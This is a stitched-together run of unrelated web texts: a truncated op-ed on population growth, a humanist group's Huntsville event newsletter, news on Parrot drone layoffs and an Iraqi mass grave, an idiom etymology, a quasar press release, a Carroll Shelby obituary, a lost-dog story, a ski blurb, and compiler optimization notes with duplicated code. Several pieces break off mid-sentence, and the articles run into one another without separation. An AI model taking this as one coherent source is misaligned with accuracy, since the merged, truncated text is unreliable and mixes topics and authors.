Attempts to question or even discuss Ponzi demography are denigrated and defamed to such an extent that concerns about population growth become radioactive. Politicians, journalists and environmentalists, for example, choose by and large to sidestep the entire issue.
When confronted with environmental concerns such as climate change, global warming, environmental contamination or shortages of water and other vital natural resources, the advocates of Ponzi demography typically dismiss such concerns as unfounded and overblown.
And they claim there is no scientific basis, or they obliquely stress "innovation," ingenuity and technological fixes as the only appropriate and workable |
6:00-7:30pm:
Philosophy Café. Open and relaxed discussion on philosophical topics continues on the fourth Monday of each month. We are meeting at KEEGAN’S OF HUNTSVILLE, 200 West Side Square, Suite 60, Huntsville, AL 35801. An assortment of salads, sandwiches, Irish inspired fare, and beverages are available for purchase (and to lubricate discussion). http://www.keeganshuntsville.com/ New faces are always welcome. (PS – Happy Hour ends at 6 – you might want to arrive a few minutes early.)
“My greatest hope regarding the future rests on the mistakes I’ve made in the past, for those are the most effective things I’ve got to build with.”
― Craig D. Lounsbrough
Other local events of interest:
The Epicurean-Friends-of-Huntsville will have its organizational meeting on Jan 20 at 4pm. You can join the group on meet-up for more information.
Other Information:
The Humanists of North Alabama discussion group as a closed FaceBook group to talk about Humanism in Alabama. Let us know if you’d like an invite.
https://www.facebook.com/groups/876732872431530/
Our events can be found
on our Meetup group:
Humanists of North Alabama Meetup Huntsville, AL
655 Humanists Meet with fellow Humanists: those that follow the progressive philosophy of life that, without theism and other supernatural beliefs, affirms our ability and responsibility to… Check out this Meetup Group →
on our FaceBook page:
https://www.facebook.com/pages/Humanists-of-North-Alabama/258854664128349
https://www.facebook.com/pages/Humanists-of-North-Alabama/258854664128349 on our web page:
http://www.humanistsofnorthalabama.org/
If you received this email from a friend and want to be added to the distribution list, send an email to us at our new organization email list: humanistsofnal@gmail.com.
Suggestions for events, meeting venues, topics are always welcome!
Humanists of North Alabama is an official Chapter of the American Humanist Association. Membership in the AHA is strongly encouraged!
Louise Hardin
256-683-8026
“May the New Year bring you courage to break your resolutions early! My own plan is to swear off every kind of virtue, so that I triumph even when I fall!” ― Aleister Crowley, MoonchildFrench company Parrot has had a rough year and missed its sales expectations. That’s why the company will lay off 290 employees who were working on drones. In total, Parrot currently has 840 employees on the drone team and more than a thousand employees in total.
While the company isn’t just selling drones, it represents a good chunk of the business. But it looks like other companies, such as DJI, are doing better in this market. Parrot expected to report $105.9 million in sales for 2016. It reported $90 million instead (€85 million vs. €100 million expected).
Even though the company is still selling quite a few drones, Parrot says that it doesn’t generate healthy margins. So here’s the new plan: focusing on commercial drones.
When I interviewed Parrot founder and CEO Henri Seydoux last year, he was passionate about new use cases when it comes to commercial drones. The company has made a few acquisitions to become a key player in this space. SenseFly, Airinov, MicaSense and Pix4D are now all owned by Parrot.
You can use drones for agriculture, inspection, deliveries, etc. Tech companies are probably just scratching the surface with these new use cases. Right now, 18.3 percent of Parrot’s drone revenue comes from commercial drone. While it’s still a nascent business, it’s growing.
For 2017, Parrot expects to grow by 10 percent for both drone and automotive activities. Parrot has been quiet during CES last week. There wasn’t any big splashy product announcement. It’s clear that the company had other things to do.Habbaniyah (Iraq) (AFP) – Iraqi troops have found a mass grave in the western city of Ramadi containing the bodies of 40 men believed to have been executed by the Islamic State group, officials said Friday.
It is the latest of dozens of such grisly finds made by Iraqi forces since they drove the jihadists out of the swathes of northern and western Iraq that they occupied in 2014.
Ammar Nuri al-Dulaimi, an official from a Martyrs Committee for Anbar province, said the bodies had bullet wounds to the head, suggesting they were executed by IS.
An army colonel, who asked not to be named, said troops had uncovered the mass grave during a sweep of the Al-Tach neighbourhood in the south of Ramadi, capital of the province.
The army retook the city in December 2015.Raining cats and dogs
Animals
Weather Other phrases about:
What's the meaning of the phrase 'Raining cats and dogs'?
Raining very heavily.
Origin - the short version
No one knows the precise source of the 17th century expression 'raining cats and dogs', but we can be sure that it didn't originate because animals fell from the sky.
Origin - the full story
This is an interesting old English phrase in that, although we don't know who coined it or why, it has spawned a host of speculative derivations. Let's can get the fanciful proposed derivations out of the way...
The phrase isn't in any sense literal, that is, it doesn't record an incident where cats and dogs fell from the sky. Small creatures, of the size of frogs or fish, do occasionally get carried skywards in freak weather, but there's no record of groups of them being scooped up in that way and causing this phrase to be coined. Not that we need to study meteorological records for that - it's plainly implausible.
Jonathan Swift described the streets being awash with the dead bodies of animals in his satirical poem 'A Description of a City Shower', first published in the 1710 collection of the Tatler magazine:
Sweeping from Butchers Stalls, Dung, Guts, and Blood,
Drown'd Puppies, stinking Sprats, all drench'd in Mud,
Dead Cats and Turnip-Tops come tumbling down the Flood.
The poem was a satirical denunciation of contemporary London society and its meaning has been much debated. The reference to place-names in Swift's poem make it clear that the watercourse he was referring to was the River Fleet which, like London's other rivers in 1710, was an open sewer. Dead animals would have been thrown into the Fleet and accumulated debris, which may have included cats and dogs could have been washed down in heavy weather. So, it is plausible at least that dead cats and dogs may have been seen in rivers during rainstorms. However, such dead animals would have also been seen in dry weather so there's no especial reason to connect the sight of dead animals in the Fleet with rain.
Did domestic pets ever rain down?
One supposed origin is that the phrase derives from mythology. Dogs and wolves were attendants to Odin, the god of storms, and sailors associated them with rain. Witches, who often took the form of their familiars - cats, are supposed to have ridden the wind. Well, some evidence would be nice. There doesn't appear to be any to support this notion.
It has also been suggested that cats and dogs were washed from roofs during heavy weather. This is a widely repeated tale. It got a new lease of life with the e-mail message "Life in the 1500s", which began circulating on the Internet in 1999. Here's the relevant part of that:
I'll describe their houses a little. You've heard of thatch roofs, well that's all they were. Thick straw, piled high, with no wood underneath. They were the only place for the little animals to get warm. So all the pets; dogs, cats and other small animals, mice, rats, bugs, all lived in the roof. When it rained it became slippery so sometimes the animals would slip and fall off the roof. Thus the saying, "it's raining cats and dogs."
This is nonsense of course. It hardly needs debunking but, lest there be any doubt, let's do that anyway. In order to believe this tale we would have to accept that dogs lived in thatched roofs, which, of course, they didn't. Even accepting that bizarre idea, for dogs to have slipped off when it rained they would have needed to be sitting on the outside of the thatch - hardly the place an animal would head for as shelter in bad weather.
Another suggestion is that 'raining cats and dogs' comes from a version of the French word 'catadoupe', meaning waterfall. Again, no evidence. If the phrase were just 'raining cats', or even if there also existed a French word 'dogadoupe', we might be going somewhere with this one. As there isn't, let's pass this by.
There's a similar phrase originating from the North of England - 'raining stair-rods'. No one has gone to the effort of speculating that this is from mythic reports of stairs being carried into the air in storms and falling on gullible peasants. It's just a rather expressive phrase giving a graphic impression of heavy rain - as is 'raining cats and dogs'.
We do know that the phrase was in use in a modified form in 1653, when Richard Brome's comedy The City Wit or The Woman Wears the Breeches referred to stormy weather with the line:
"It shall raine... Dogs and Polecats".
Polecats aren't cats as such but the jump between them in linguistic rather than veterinary terms isn't large and it seems clear that Broome's version was essentially the same phrase. The first appearance of the currently used version is in Jonathan Swift’s A Complete Collection of Polite and Ingenious Conversation in 1738:
"I know Sir John will go, though he was sure it would rain cats and dogs".
The fact that Swift had alluded to the streets flowing with dead cats and dogs some years earlier and later used 'rain cats and dogs' explicitly seems to point to a picture, in his mind at least, of cats and dogs being carried along in a flood. Whether Swift coined 'raining cats and dogs' and whether he meant that to be a reference to the animals being washed through the streets in heavy weather is entirely speculative.
The well-known antipathy between cats and dogs and their consequential fights has been suggested as a metaphor for stormy weather. That at least is a plausible theory. It purports 'cats and dogs' to be an intensifier and that the expression means 'raining in a bad way'.
In truth, what was in the mind of whoever coined this expression is now lost to us. I have to admit defeat and say that I don't know the origin of this phrase.Carnegie Institution – Astronomers have found the first clear evidence of a binary quasar within a pair of actively merging galaxies. Quasars are the extremely bright centers of galaxies surrounding super-massive black holes, and binary quasars are pairs of quasars bound together by gravity. Binary quasars, like other quasars, are thought to be the product of galaxy mergers. Until now, however, binary quasars have not been seen in galaxies that are unambiguously in the act of merging. But images of a new binary quasar from the Carnegie Institution’s Magellan telescope in Chile show two distinct galaxies with “tails” produced by tidal forces from their mutual gravitational attraction.
“This is really the first case in which you see two separate galaxies, both with quasars, that are clearly interacting,” says Carnegie astronomer John Mulchaey who made observations crucial to understanding the galaxy merger.
Most, if not all, large galaxies, such as our galaxy the Milky Way, host super-massive black holes at their centers. Because galaxies regularly interact and merge, astronomers have assumed that binary super-massive black holes have been common in the Universe, especially during its early history. Black holes can only be detected as quasars when they are actively accreting matter, a process that releases vast amounts of energy. A leading theory is that galaxy mergers trigger accretion, creating quasars in both galaxies. Because most such mergers would have happened in the distant past, binary quasars and their associated galaxies are very far away and therefore difficult for most telescopes to resolve.
The binary quasar, labeled SDSS J1254+0846, was initially detected by the Sloan Digital Sky Survey, a large scale astronomical survey of galaxies and over 120,000 quasars. Further observations by Paul Green of the Harvard-Smithsonian Center for Astrophysics and colleagues* using NASA’s Chandra’s X-ray Observatory and telescopes at Kitt Peak National Observatory in Arizona and Palomar Observatory in California indicated that the object was likely a binary quasar in the midst of a galaxy merger. Carnegie’s Mulchaey then used the 6.5 meter Baade-Magellan telescope at the Las Campanas observatory in Chile to obtain deeper images and more detailed spectroscopy of the merging galaxies.
“Just because you see two galaxies that are close to each other in the sky doesn’t mean they are merging,” says Mulchaey. “But from the Magellan images we can actually see tidal tails, one from each galaxy, which suggests that the galaxies are in fact interacting and are in the process of merging.”
Thomas Cox, now a fellow at the Carnegie Observatories, corroborated this conclusion using computer simulations of the merging galaxies. When Cox’s model galaxies merged, they showed features remarkably similar to what Mulchaey observed in the Magellan images. “The model verifies the merger origin for this binary quasar system,” he says. “It also hints that this kind of galaxy interaction is a key component of the growth of black holes and production of quasars throughout our universe.”
* The authors of the paper published in the Astrophysical Journal are Paul J. Green of the Harvard-Smithsonian Center for Astrophysics, Adam D. Myers of the University of Illinois at Urbana-Champaign, Wayne A. Barkhouse of the University of North Dakota, John S. Mulchaey of the Observatories of the Carnegie Institution for Science, Vardha N. Bennert of the Department of Physics, University of California, Santa Barbara, Thomas J. Cox of the Observatories of the Carnegie Institution for Science, and Thomas L. Aldcroft of the Harvard-Smithsonian Center for Astrophysics.Share Pinterest
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Auto legend Carroll Shelby died Thursday night at Baylor Hospital in Dallas at the age of 89.
Carroll Shelby's shadow stretched out Texas tall across nearly the whole of the world's automotive landscape. A natural as a race driver, he won three U.S. sports-car championships in Ferraris and Maseratis, and for Aston Martin he won the 1959 24 Hours of Le Mans with British co-driver Roy Salvadori.
Turning automaker in the 1960s, he fathered the Cobra, an Anglo-American hot rod of crude conception but stunning effectiveness that swept the tracks of North America and wrested a world manufacturer's title from Ferrari. Additional success came with his makeovers of the Ford Mustang, which resulted in Trans-Am racing titles and the ferocious Shelby GT350 street car. As a team owner, he presided over Ford's epic 1966 and '67 Le Mans victories.
Shelby is believed to be the only person to win Le Mans as a driver (with Aston Martin), a manufacturer (class victory with the Cobra Daytona coupe) and team owner (Ford's GTs).
Not everything this Texan touched turned to trophies, but his solid record of achievement, plus his talents as a promoter, made his name an icon of high-performance worldwide.
In the 1980s, he parlayed all of this into a venture with Chrysler that produced a number of specialty cars and trucks, including the Shelby Can-Am one-design racer, all dedicated to a biggest-bang-for-the-buck philosophy.
Beyond that, Shelby grew his business into a multifaceted “skunkworks,” doing advanced research and development for other clients. From 2005, these included Ford, with whom Shelby patched up an old grievance so that they could partner on a fresh range of super-hot Shelby Mustangs. He also resumed production of old-style Cobras and, less successfully, launched a newer sports model dubbed the Shelby Series 1.
Yet, impressive as his accomplishments were on the automotive scene, that was only one of a bewildering set of arenas through which he moved with equal facility: ranching, real estate development, hotels, food production, aircraft dealing. In every field that caught his interest, he was able to exercise a powerful combination of intelligence, curiosity, vision, timing, guile, cunning and charm, plus what he described as “the work ethic.”
Not the least of Shelby's secrets was an easy, natural manner, a flashing grin and an almost old-fashioned sense of courtesy, which quickly made firm friendships and networks of important contacts.
At the same time, the sharp pencil he applied aggressively to business dealings led some to dub him “Billie Sol,” after a notorious Texas swindler.
Perhaps the most remarkable, most inspirational fact about Shelby's life was that he worked so hard despite a serious physical limitation—a hereditary heart defect that led to four hospitalizations in 15 years for surgery, then a 1990 heart transplant.
Six years later, at age 73, he received a kidney from one of his sons, Mike Shelby.
In company with so many of the world's outstanding achievers, Carroll Hall Shelby had modest beginnings. He was born on Jan. 11, 1923, in the small east Texas town of Leesburg, the son of a rural mail carrier. When Shelby was 10, the family moved to Dallas, where his father became a postal clerk and the boy discovered auto racing.
“I used to ride my bicycle to the old bullrings around Dallas when I was a kid, 12 or 14 years old,” he recalled decades later. “So I've always had my interest in cars, that's always been my No. 1 interest.”
Finances did not permit expressing that interest in sanctioned competition, but Shelby did what he could on the streets. His first car was a family hand-me-down, a 1934 Dodge that he immediately determined would do only 87 mph, tops. His next ride was no less disappointing, even after he shaved the head. “It was a '38 Willys, old four-cylinder Willys. Wouldn't outrun anybody, but I used to try to.”
The Shelby need for speed was finally serviced by the Army, which allowed him to put his hands on his second great love, airplanes. Admitted to a pilot-training program for students who didn't have college credentials, he graduated as staff sergeant pilot.
“Chuck Yeager, Bob Hoover, myself—a lot of guys came out of that program that were good aviators,” Shelby said with pride. However, he was disappointed that, as he put it, “I never got a shot at gettin' shot at.” He spent the whole war stateside, flying training missions for bombardiers and navigators.
With discharge came an end to flying, temporarily anyway. With a wife and children now, Shelby began a restless series of entrepreneurial ventures. At various times, he was an owner-operator of a trucking business, a roughneck in the oil fields and a chicken farmer.
Shelby came to auto racing relatively late, in 1952 when he was 29, but he came on strong. After first trying a Flathead-powered hot rod on a drag strip, later that summer he accompanied a buddy who owned an MG-TC to a sports-car race on an airport course at Norman, Okla.
“He was a friend of mine from high school, Ed Wilkins. He wasn't going to race it himself; he was just up there to spectate. After we got up there we decided that I'd drive it. So it was really just kind of a lucky accident that I drove my first race.
“I raced against the other MGs and the Jowett Jupiters and so forth and won that race. Then they had the Jaguar race and I raced the MG in that and I won again. I wore the tires out on it. It was fun.”
Two more road races later in the year brought him two more wins, a four-for-four record that was only a taste of things to come. In 1953, in hotter iron such as Jaguars and Allards, the Texas meteor won nine out of nine. For the 1954 season he turned pro, which was a distinction of major importance to the SCCA in those days. He was in great demand by wealthy Ferrari and Maserati owners such as Temple Buell, John Edgar and Tony Parravano, and the American eventually attracted the interest of John Wyer, manager of the Aston Martin factory team.
To Shelby, racing appeared to be mainly a lark, informal and lighthearted. Arriving late at a track one day, he jumped into the cockpit without changing out of his work clothes—a set of striped farmer's overalls. They became his trademark. After a race, the tall, skinny, curly-haired chicken farmer would disappear just as suddenly, likely as not with a pretty woman on each arm.
But at work in the cockpit, Shelby was all business.
“The Texan is a first-rate conductor and takes his motor racing extremely seriously,” concluded Gregor Grant, founder and editor of Britain's Autosport magazine, after watching the lanky Yankee run the 1955 Targa Florio in a Ferrari Monza. He was a “hard worker... who goes to bed with the hundreds of corners imprinted in his mind.” And his driving was “clean as a whistle.”
Shelby's Ford GT-era team manager, the late Carroll Smith, recalled conversations with his boss' old teammates. “As a race driver, his mechanics loved him. [They felt] he drove every bit of a race car you could give him.”
In 1956, he won 18 out of 20 U.S. races and his first SCCA national championship. Sports Illustrated named him Driver of the Year. In 1957, he won 19 races straight, his second SCCA title and a Driver of the Year award from the New York Times, the first of two such honors. His good friend, Ferrari importer Luigi Chinetti, arranged an audience in Maranello.
“Old Man Ferrari offered me a job and I said, ‘Well, Mr. Ferrari, I have a family, three children, what kinda money?' He says, ‘Oh, it's an honor to drive for Ferrari.' And I said, ‘Well, I'm sorry, I can't afford the honor.' And I had a deal with John Wyer, anyway, and I had another deal with Maserati. I had a choice of four or five different offers. So I turned Ferrari down.”
This and other incidents were blown up a bit in later years, when Shelby's Cobras were going against the Commendatore's Prancing Horses, but there was a genuine animosity between these two titans of motorsport. Shelby used to say that he respected Ferrari for his automotive accomplishments, but not as a human being.
However, crusty Shelby was said to cherish a warm friendship with Enzo's son, Dino.
Shelby was a Formula One driver for two seasons. In 1958, he ran a 250F Maserati in four Grands Prix and scored the only world championship points of his career with a fourth-place finish in the Italian Grand Prix at Monza. The next year—the same in which he and Salvadori drove to victory at Le Mans for Aston Martin—he ran that company's obsolete, front-engine F1 in another four events but without success.
This was also the year when, at age 36, Shelby first experienced the angina that would end his driving career. He continued racing through 1960 and won his third title, USAC's United States Road Racing championship, but he drove with nitroglycerine pills ready to jump-start his heart if necessary.
“You ever try nitro?” Shelby asked in a 1990 interview with Autoweek. “It knocks the top of your head off. It dilates your arteries and veins and gives you a headache for 30 seconds. You don't want to do it in a race car. That's why it was not hard to give up drivin'; nitro gives you an incentive to quit. I wanted to build my car anyway, and make a go of my Goodyear distributorship.”
Shelby had maintained commercial interests all along. As he once noted, he was a child of the Depression, and the experience was formative. He'd always had something going—from paper routes, delivering for drug stores on his motorcycle and caddying on golf courses in the beginning, to buying and selling cars during his racing career. With Jim Hall and his brothers, Shelby was a partner in a Dallas dealership.
Now able to concentrate on business, he soon had a Goodyear race-tire distributorship and, at Riverside, Calif., America's first race-driving school (with Peter Brock as the first instructor). He also served as consulting editor for his publisher friend “Pete” Petersen's Sports Car Graphic magazine. Later, he started up businesses to manufacture cast wheels for both cars and motorcycles. But all of these were stepping stones to realizing a long-held, major dream: Shelby wanted to produce his own sports car.
“I prob'ly started thinkin' about it in '54, '55,” he recalled. He'd been driving Max Balchowsky's Old Yeller specials and had a firsthand impression of what the combination of a big-inch Detroit engine and a lightweight, European-style chassis could do.
Shelby's familiarity with the various English sports cars so popular in the 1950s bred a certain focused disdain: “I could see that, compared to the little ‘taxicab' engines they had, one of our new V8s took up about the same amount of room and put out about four times as much horsepower and didn't cost any more money.”
After a preliminary venture with a handful of Chevrolet Corvette chassis rebodied by Italy's Scaglietti, he finally arranged a marriage between a new small-block engine being launched by Ford and the British-made AC Ace. Shelby's prototype Cobra first bared its fangs in February 1962, and the small, ferocious two-seater was an immediate sensation with the media and the public—and with impatient racers.
Famously, Shelby kept repainting his single-press tester in different colors before its next assignment, creating the illusion of a substantial fleet of finished Cobras.
The first competition appearance of the new marque was that October at Riverside, when a Shelby American Cobra handily led the new 1963 Corvette for an hour until a wheel hub broke. The part was redesigned, and Shelby's “snakes” began a domination of production-sports-car events that lasted for several seasons, both in North America and overseas. The highlight year was 1965, when Cobras became the first American-conceived cars to win the international manufacturers' championship for Grand Touring cars. To do so meant beating Ferrari, a special satisfaction for Shelby.
“What we did was take a bunch of California hot-rodders and we whipped Ferrari's ass,” as he put it. “The Cobra was the most archaic chassis, probably, with its two buggy springs and a pushrod engine, to ever go over there and win a world championship.
“But the reason that it was so successful was because of people like Phil Remington, Ken Miles, Pete Brock... ah, I could name 50. There isn't time to name everybody who should get credit.”
There was a second-generation Cobra with Ford's big 427 engine and a more sophisticated coil-spring chassis, but by this time, the old hybrid concept had run its course, and Shelby American was moving into other racing fields. In 1965, the team took over the running of Ford's sophisticated, mid-engine GT40s. The immediate payoff was the previously troubled coupe's first victory, at Daytona that year. The team went on to win Le Mans the following two years, beating not only Ferrari but also a rival Ford GT operation by Holman-Moody, the stock-car powerhouse.
Throughout the rest of the decade there were further racing ventures, some more successful than others, while at Ford's request, Shelby also developed and produced the GT350, a two-seat, high-performance modification of the 2+2 Mustang. A big-block GT500 followed.
But as the 1970s opened, Ford dropped out of racing. Shelby American tried to pick up the slack with a program for Toyota but was not very successful. In any case, “performance died,” as Shelby put it, and he eventually had to close down his famous company.
Shelby spent the next dozen years in a variety of nonautomotive activities, including land speculation and development, a safari operation in Africa and a plant to manufacture chili. During this period, he twice had to have coronary-bypass surgery, but he refused to let his illness slow him down.
In the meantime, automobile performance had come back to life, and in 1982 Shelby Automobiles was formed in conjunction with Chrysler to manufacture and market high-energy versions of that company's smaller sedans and midsize trucks. Production began in 1986, but disappointing sales forced a stop at the end of 1989.
Reluctant to disband his group of talented people, Shelby kept them going on special projects, such as a Dodge-engined SCCA spec racer called the Shelby Can-Am, while he transformed the company into a specialized R&D facility.
He was eager to do more, but during the 1980s he was in hospital twice more for carotid surgery. Despite his ailment, Shelby continued to live a full life, and in February 1989, he married for the fourth time. But his strength continued to fade, and in June 1990, he finally received a new heart.
“It's a first-time installation,” quipped Dan Gurney at a subsequent roast for his friend. Sixty-eight-year-old Shelby gleefully reported feeling like a young man of 34—the age of the unfortunate donor, who had collapsed at a Las Vegas craps table. The following May, Shelby drove the Indy 500 pace car and passenger Gen. Norman Schwarzkopf around the Indianapolis Motor Speedway at 150 mph.
That same month, haunted by children he'd seen dying during his time in ICU, he started the Carroll Shelby Heart Fund (now called the Carroll Shelby Foundation) to raise money for youngsters in need of transplants. For that and other reasons, admiring parents sent him photos of kids they'd named Shelby. His Los Angeles office became literally papered with hundreds of the photos.
Older youths now benefit from the Carroll Shelby School of Automotive Technology, located at the Northeast Texas Community College in Mount Pleasant, not 20 miles from the racer's birthplace.
Like many high-profile men, Shelby seemed to have trouble staying married. The second of five wives was the movie and TV star Jan Harrison. His third wife was Sue Stafford. The fourth was Swedish-born Lena Dahl Shelby, who died in a 1997 highway accident. Only months later, he married Cleo Patricia Marguerita Shelby, a vivacious Briton who was always by his side, even as she pursued her interests in flying, art and jewelry.
Shelby's survivors consist of his wife, Cleo Shelby; his sister and only sibling, Anne Shelby Ellison; daughter Sharon Lavine and sons Michael and Patrick Shelby (all three from his first marriage to Jeanne Fields); six grandchildren; and four great-grandchildren.
Of Carroll Shelby's legions of close friends and respectful associates, one of his greatest admirers was Al Dowd, who joined in the Cobra days as a mechanic and who kept on working for Shelby for decades as an administrator. Why did he and others show so much loyalty? Interviewed for a 1990 Autoweek profile on his boss, Dowd put it this way: “I guess because we love him. Can't put my finger on it. He's a neat person. I like him.”
Lew Spencer, once a Cobra race driver and later Dowd's fellow in the Los Angeles business office, spoke of the same personal affection. “There's an esprit de corps, almost a love affair. Carroll is a human magnet because he has a good feeling for people, a great understanding. He can pull the best out of you, so you excel in what you're doing.
“I've always said that if you had 20 people in a basketball court, all up at one end, and if Carroll walked in the other end, without any sort of introduction or announcement, within five minutes everybody would be gathered around him. When we travel, you see it; people walk up to him and start a conversation, even if they've never seen or heard of him. He attracts people to him.”
Spencer went on to say that working for Shelby was exhilarating. “He is a visionary in many ways, and a doer. He's an idea man—Carroll gets great ideas—and he does not like details. He doesn't like an office. He's not interested in sitting around on a day-to-day basis. He wants another challenge, to move on to something exciting. That's part of the fun of working for him, it'll always be moving, nothing stagnant. There's a feeling of fun, also a respect for the accomplishments of the man.
“He is an entrepreneur who borders on the con man—he is a legitimate con man. You have to be in this business. It's the old American success story. When he gets knocked down—like with the chicken business [which was hit with a poultry disease]—he's flat, he gets back up.”
Don Landy, who handled Shelby's overall business holding company, Shelby American Management Co. in McKinney, Texas, described his boss this way: “He's one of a kind. An original Texas gunslinger. Life never gets boring. Carroll is a risk taker, has been all his life, in everything he's done.
“He can be cantankerous, gruff, direct and outspoken, but to get to know him is to love him. He creates tremendous loyalty in people around him. He's really a very caring individual, which may be completely opposite to what he appears to be.”
Team manager Smith spoke of his fellow Carroll fondly as “the best man I ever worked for—the only man I could ever work for. He has leadership qualities; he can inspire you to do more than you're capable of doing. He gives everyone an enormous amount of rope, picks the right people and leaves 'em alone to get on with it. Keeps the BS and the politics away from the racers.
“An excellent judge of people—including of mechanics, although he's no mechanic himself—especially of drivers. He's never made a mistake with a driver. He's got enormous loyalty to people who have done a good job for him,” Smith said.
“And he has an absolute desire to win. He wants to win so bad that it's catching. If he went back to racing tomorrow, I'd go back in a minute. Because I truly enjoy winning, and I enjoy working with a man who wins with style and grace, and who doesn't forget how to have fun while doing it.”
Shelby himself, in the 1990 Autoweek interview, said he felt grateful for “being able to do the things that I've wanted to over practically a lifetime and been lucky enough to have been successful enough out of them that as I grow into, ah, into old age that I can look back with satisfaction over a life well spent. I really consider myself a damn lucky individual. I don't think you can ask for much more outta life.”
Funeral plans were in process. Donations to the Carroll Shelby Foundation are encouraged in lieu of flowers. Information about the foundation can be found at www.carrollshelbyfoundation.com.
Below, Shelby talks about connecting with Ford Motor Co. to go racing:James Bryan, a homeless man living in Florida, woke up the morning of May 8 to find that his pet dog was missing. The dog, a blue pit bull named Handover, was the only remaining tie to Bryan's previous life, before he'd lost his farm, his home, and nearly all of his other personal belongings.
"Handover is my best friend. He's my heart and soul," Bryan told ABC Action News last week for a story about his then-missing dog. “If anybody sees him, please bring him home.”
Bryan, who lives along U.S. 19 in Hudson, Florida, feared Handover might have been targeted by someone involved with a dogfighting ring.
“I'm praying to God nobody's putting him into an arena and fighting him," Bryan said. "He is a force of nature."
Word spread about Handover's theft, and eventually Carolyn Texter, who knew Handover and Bryan from her work with animal rescues, heard and decided to help.
"That's the hardest thing I'm having right now. To even explain to my kids how someone could possibly steal someone's family member," Texter said.
Texter started a Facebook page to find Handover and, with the help of a few friends, raised a $200 reward for his return. The story eventually went viral. The Facebook page received thousands of likes and attracted the attention of local news stations. Information about and pictures of Handover was shared thousands of time. Soon, the reward money swelled to $1,000.
Wednesday afternoon, all the work paid off, and Bryan was reunited with Handover.
Handover was taken to a veterinarian for an check-up – he was healthy – and to have a microchip implanted in case he goes missing again.
So far, there's been no official word from Bryan, but on the Facebook page Texter described him as "speechless" and thankful for all the help he'd received.
As for Handover's name: He was a gift from Bryan's then-wife five years ago. As she was holding the new dog, she asked Bryan what he wanted to call his new pet. “Hand him over!” was Bryan's immediate response, and the name stuck.
[Images via Facebook]The Tram Face at Squaw Valley, California is arguably the sickest piece of easily accessible terrain in the Contiguous USA.
The Tram Face just may be the sickest piece of forbidden terrain on Earth.
Dr. Robb Gaffney, M.D. just released his Ultra Bonus Chapter all about the lines of the forbidden Tram Face and it’s absolutely gnarly.
“The Squallywood Ultra Bonus Chapter, TRAM FACE, provides readers an in depth look at the history of lines across one of the most iconic steep skiing zones in North America. While historically considered a “forbidden area”, Tram Face has lured ski and snow |
} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 if ( invariant_condition ) { for ( int i = 0 ; i < n ; i ++ ) { // Code before branch. < span style = "color: #000080" > // “then” code. < / span > // Code after branch. } } else { for ( int i = 0 ; i < n ; i ++ ) { // Code before branch. < span style = "color: #800000" > // “else” code. < / span > // Code after branch. } }
Sinking of loads near uses
This is an optimization also known as partial dead-code elimination. Its purpose is to move expensive expressions closer to where they are actually used, in the hope that they are never executed if pushed under an if condition or if the function exits earlier. Another handled case is an expression assigned to a variable that is redefined later on some paths, like in the second example below. Currently this is limited to sinking loads, future versions of the compiler will extend it to more general expressions.
Before After sinking load <strong>x = *p;</strong> if (condition) { return -1; } use(x); 1 2 3 4 5 6 7 < strong > x = * p ; < / strong > if ( condition ) { return - 1 ; } use ( x ) ; if (condition) { return -1; } <span style="color: #000080"><strong>x = *p;</strong></span> // Delay load *p. use(x); 1 2 3 4 5 6 if ( condition ) { return - 1 ; } < span style = "color: #000080" > < strong > x = * p ; < / strong > < / span > // Delay load *p. use ( x ) ; <strong>x = *p;</strong> if (condition) { <strong>x = *q;</strong> } use(x); 1 2 3 4 5 6 7 < strong > x = * p ; < / strong > if ( condition ) { < strong > x = * q ; < / strong > } use ( x ) ; if (condition) { <strong>x</strong> = *q; } else { <span style="color: #000080"><strong>x = *p;</strong> </span>// Avoid load *p on *q path. } use(x); 1 2 3 4 5 6 7 8 if ( condition ) { < strong > x < / strong > = * q ; } else { < span style = "color: #000080" > < strong > x = * p ; < / strong > < / span > // Avoid load *p on *q path. } use ( x ) ;
Vectorizer improvements
More loops, with or without branches, are now vectorized thanks to an improved heuristic for estimating the benefit of vectorization and having more accurate alias information for pointers. The vectorization of code searching the min/max value in an array now also supports the case where the index of the selected value is required, like in the following example:
for (i = 0; i < N; i++) { if (values[i] > max_value) { max_value = values[i]; max_value_index = i; } } use(max_value, max_value_index); 1 2 3 4 5 6 7 for ( i = 0 ; i < N ; i ++ ) { if ( values [ i ] > max_value ) { max_value = values [ i ] ; max_value_index = i ; } } use ( max_value, max_value_index ) ;
Improved CMOV generation and handling of std::min/max
The generation of conditional move instructions (CMOV) from branches is improved, especially for float values, which helps in cases where branches are not well predictable. Below is an example from a Geekbench 4 benchmark:
offset = lo + delta; if (curve[offset] > log_exposure) { hi = hi - delta; } else { lo = lo + delta; } 1 2 3 4 5 6 offset = lo + delta ; if ( curve [ offset ] > log_exposure ) { hi = hi - delta ; } else { lo = lo + delta ; }
x64 before x64 now comiss xmm0, xmm4 jbe SHORT $LN4@log_exposu sub ecx, r8d jmp SHORT $LN5@log_exposu $LN4@log_exposu: mov edx, r9d $LN5@log_exposu: 1 2 3 4 5 6 7 comiss xmm0, xmm4 jbe SHORT $ LN4 @ log_exposu sub ecx, r8d jmp SHORT $ LN5 @ log _ exposu $ LN4 @ log_exposu : mov edx, r9d $ LN5 @ log_exposu : sub eax, ecx comiss xmm3, xmm2 cmovbe eax, r9d cmovbe edx, r8d 1 2 3 4 sub eax, ecx comiss xmm3, xmm2 cmovbe eax, r9d cmovbe edx, r8d
std::min/max were previously somewhat problematic for the optimizer because they take the values by reference, turning a direct access of a local variable into an indirect access through a pointer. The improvements to eliminate these indirect access cases for integers now also apply to float types. For example, the clamp operation has now optimal code generation:
float clamp(float n, float lower, float upper) { return std::max(lower, std::min(n, upper)); } 1 2 3 float clamp ( float n, float lower, float upper ) { return std :: max ( lower, std :: min ( n, upper ) ) ; }
